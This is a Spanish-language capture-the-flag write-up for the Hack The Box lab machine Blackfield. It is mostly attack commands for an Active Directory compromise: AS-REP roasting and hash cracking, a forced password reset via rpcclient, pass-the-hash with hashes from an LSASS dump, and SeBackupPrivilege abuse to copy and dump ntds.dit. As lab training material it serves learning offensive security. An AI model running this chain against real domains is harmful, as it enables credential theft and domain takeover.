HTB_Blackfield
Blackfield {-}
Introduccion {-}
La maquina del dia se llama Blackfield.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.192
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.192
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.192 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,88,135,139,389,445,593,3268,49676 10.10.10.192 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
53 | domain | Domain controller rpcclient null session | |
88 | Kerberos | asproasting attack | lista de usuarios validos |
135 | msrpc | ||
139 | netbios | ||
389 | LDAP | Bloodhound | credenciales |
445 | smb | Null session | |
593 | ncacn_http | ||
3268 | ldap | ||
5985 | WinRM | evil-winrm | credenciales |
49676 | ncacn_http | Puertos por defecto de windows |
Buscando ususarios con rpcclient y rpcenum {-}
rpcclient -U "" 10.10.10.192 -N
rpcclient $> enumdomusers
Como no nos deja unumerar cosas con el null session vamos a necesitar credenciales validas para poder hacerlo
Analyzando el SMB {-}
crackmapexec smb 10.10.10.192
smbclient -L 10.10.10.192 -N
Vemos que estamos en frente de una maquina Windows 10 Standard de 64 bit pro que se llama DC01 en el dominio BLACKFIELD.local.
Añadimos los dominios blackfield.local
y dc01.blackfield.local
a nuestro /etc/hosts
.
Tambien vemos recursos compartidos a nivel de red como:
- ADMIN$
- C$
- forensic
- IPC$
- NETLOGON
- profiles$
- SYSVOL
Usando de la heramienta smbmap, podemos ver si tenemos accessos a estos recursos.
smbmap -H 10.10.10.192 -u 'null'
y vemos que denemos accesso con derecho de lectura a los recursos profiles$
y IPC$
. IPC$ no es un recurso que nos interesa.
smbclient //10.10.10.192/profiles$ -N
dir
Aqui podemos ver registros que parecen ser directorios de ususarios.
Vulnerability Assessment {-}
Asproasting Attack {-}
Una vez que tenemos un listado de usuarios, podemos hacer un asproating attack
-
copiamos todos los usuarios en un fichero llamado users
nano users_dir Ctrl+shift+v cat users_dir | awk '{print $1}' > users rm users_dir
-
Con
GetNPUsers.py
vamos a ver si podemos recuperar un TGTGetNPUsers blackfield.local/ -no-pass -usersfile users | grep -v "not found"
Aqui vemos el TGT del usuario support. Esto quiere decir que este usuario tenia el Don’t required pre-auth seteado. Copiamos todo el hash del usuario svc-alfresco en un fichero llamado hash y lo crackeamos con John
Crackeando el hash con John {-}
john -wordlists=/usr/share/wordlists/rockyou.txt hash
Aqui encontramos su contraseña. Ya podemos effectuar un Kerberoasting attack. Pero primero, como siempre, credenciales encontradas son credenciales que checkeamos con crackmapexec
crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
Aprovechamos para ver si nos podemos conectar via winrm.
crackmapexec winrm 10.10.10.192 -u 'support' -p '#00^BlackKnight'
Aqui vemos que el usuario es valido y que tiene permiso de lectura sobre el directorio SYSVOL y que lo normal seria de buscar si existe un
fichero groups.xml
, porque a dentro tienes un cpassword=HASH
que contiene un hash que se podria crackear con la heramienta gpp-decrypt pero
Tito no adelanta que no es el caso no se aplicaba.
Kereroasting attack {-}
Los ataques Kereroasting se pueden manejar con la utilidad GetUserSPNs.py
GetUserSPNs.py blackfield.local/support:#00^BlackKnight@10.10.10.192 -request -dc-ip 10.10.10.192
Esta utilidad nos retorna un mensaje como que no son las buenas credenciales.
Enumeracion de usuarios con rpcclient {-}
Ahora que tenemos credenciales validas, intentamos connectarnos al rpcclient
rpcclient -U "support%#00^BlackKnight" 10.10.10.192
> rpcclient $> enumdomusers
Ahora podemos ver la lista de los usuarios registrados a nivel de systema. Buscamos usuarios del grupo Admins via la busqueda de los diferentes grupos.
> rpcclient $> enumdomgroups
copiamos el rid del grupo Domain Admins
> rpcclient $> querygroupmem 0x200
Aqui podemos ver el rid del usuario que hace parte del grupo admin.
> rpcclient $> queryuser 0x1f4
Vemos quel usuario es Administrator, pero lo hacemos para saber si hay otros usuarios administradores pero aqui no es el caso.
Enumeracion del systema con bloodhound-python para ganar acceso a la maquina {-}
Con la utilidad bloodhound-python
, podemos enumerar cosas si tener que estar connectado a la maquina victima.
-
instalamos bloodhound
pip3 install bloodhound
-
lanzamos bloodhound-python
bloodhound-python bloodhound-python -c ALL -u support -p '#00^BlackKnight' -ns 10.10.10.192 -dc dc01.blackfield.local -d blackfield.local
esto nos crea un reporte en formato json.
-
instalamos bloodhound y neo4j
sudo apt install neo4j bloodhound
-
lanzamos neo4j service
sudo neo4j console
-
lanzamos bloodhound
bloodhound --no-sandbox &> /dev/null & disown
-
connectamos bloodhound al neo4j database
-
Drag & Drop de los ficheros .json hacia la ventana del bloodhound y en el Analysis tab
- Find Shortest Paths to Domain Admins
- Find Paths from Kerberoastable Users
- Find AS-REP Roastable Users
Aqui no vemos gran cosa, lo unico el usuario support que es asreproasteable pero poco mas. Analizamos los nodos de este usuario. Le damos un clic derecho al usuario y lo seteamos a Mark User as Owned. Vamos a Node Info y miramos donde hay un 1.
Vemos que el usuario support puede forzar un cambio de contraseña al usuario AUDIT2020
Forzar un cambio de contraseña con rpcclient {-}
rpcclient -U "support%#00^BlackKnight" 10.10.10.192
> rpcclient $> setuserinfo2 audit2020 24 s4vitar123$!
Ahora que hemos cambiado la contraseña, lo miramos con crackmapexec
crackmapexec smb 10.10.10.192 -u 'audit2020' -p 's4vitar123$!'
El cambio de contraseña a sido effectiva y ahora miramos que privilegios tiene en los recursos compartidos tiene a nivel de red.
smbmap -H 10.10.10.192 -u 'audit2020' -p 's4vitar123$!'
Vemos que este usuario tiene privilegios de lectura sobre el directorio forensic
. Miramos lo que hay en este directorio.
Vuln exploit & Gaining Access {-}
Ganando accesso con Win-RM {-}
smbclient //10.10.10.192/forensic -U 'audit2020%s4vitar123$!'
dir
cd commands_output
get domain_users.txt
get domain_admins.txt
cd ..
cd memory_analysis
dir
get lsass.zip
Nos hemos descargados un fichero domain_users y un fichero domain_admins. Podemos ver un usuario iPownedYourCompany que nos hace
pensar que esta maquina a sido comprometida anteriormente. Tambien vemos un directorio memory_analysis y un fichero nos llama la atencion.
Este fichero es el lsass.zip
. Nos llama la atencion porque hay una utilidad pypykatz
con la cual podriamos ver informaciones relevantes dumpeadas
a nivel de memoria.
unzip lsass.zip
pypykatz lsa minidump lsass.DMP
Aqui tenemos informaciones como usuarios y contraseña NT hasheadas. Los NT Hashes nos permiten hacer PassTheHash que simplemente seria connectarnos con el usuario poniendo la contraseña hasheada (No se necesita conocer la contraseña en este caso).
Vemos el hash del usuario Administrator. Controlamos esto con crackmap exec.
crackmapexec smb 10.10.10.192 -u 'Administrator' -H '7f1e4ff8c5a8e6b5fcae2d9c0472cd62'
Pero vemos que esta credencial no es valida. Vemos otro usuario svc_backup
lo miramos.
crackmapexec smb 10.10.10.192 -u 'svc_backup' -H '9659d1d1dcd9250115e2206d9f49400d'
Esta credencial esta valida. Intentamos ver si nos podemos conectar con winrm
crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9659d1d1dcd9250115e2206d9f49400d'
Aqui vemos que este usuario es Pwn3d!
evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9659d1d1dcd9250115e2206d9f49400d'
whoami
#Output
blackfield\svc_backup
ipconfig
#Output
10.10.10.192
Estamos conectados como el usuario svc_backup y podemos leer la flag.## Privilege Escalation {-}
Rootear la maquina {-}
cd C:\Users\Administrator
dir
cd Desktop
dir
type root.txt
whoami /priv
No podemos todavia leer el root.txt, pero tiene un privilegio muy interesante que es el privilegio SeBackupPrivilege. Teniendo este privilegio, podriamos hacer una copia (backup) de seguridad de elemento del systema como el NTDS que nos permitirian recuperar los hashes de los usuarios del systema, entre ellos el usuario Administrator.
cd C:\
mkdir Temp
cd Temp
reg save HKLM\system system
Aqui hacemos una copia del systema que es necesario para posteriormente dumpear los hashes NTLM del fichero ntds.dit
. Intentamos copiar
el fichero ntds.dit
copy C:\Windows\NTDS\ntds.dit ntds.dit
#Output
PermissionDenied!
Teniendo este privilegio y siguiendo la guia de la web pentestlab podemos tirando de robocopy en vez de copy, copiarnos este fichero. Creamos un fichero llamado example.txt y le ponemos los comandos siguientes.
set context persistent nowriters
add volume c: alias savialias
create
expose %savialias% z:
[ ! ] NOTAS: Hay que tener cuidado con estos ficheros que enviamos en maquinas windows de siempre poner un espacio al final de cada linia para evitar problemas
dos2unix example.txt
y desde la maquina victima, subimos el fichero
upload example.txt
diskshadow.exe /s example.txt
Ya podemos ver que en Z:\ hay el mismo contenido que en C:\ y si tratamos de copiar el fichero ntds.dit con el comando copy z:\Windows\NTDS\ntds.dit ntds.dit
nos arastra el mismo error. Pero usando del comando robocopy esto funcciona sin problemas.
robocopy z:\Windows\NTDS . ntds.dit
download ntds.dit
download system
[ ! ] NOTAS: Si el download no funcciona, siempre podemos tratar de montar un directorio compartido a nivel de red con
impacket-smbfolder
Ya podemos dumpear el ntds con impacket-secretsdump
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Ya podemos ver todos los hashes de los usuarios activos del systema.
crackmapexec winrm 10.10.10.192 -u 'Administrator' -H 194fb5e5179499be6424d4cd53b99e
Pwn3d!!!!
evil-winrm -i 10.10.10.192 -u 'Administrator' -H 194fb5e5179499be6424d4cd53b99e
whoami
#Output
blackfield\administrator
Aqui hemos rooteado la maquina y podemos leer la flag.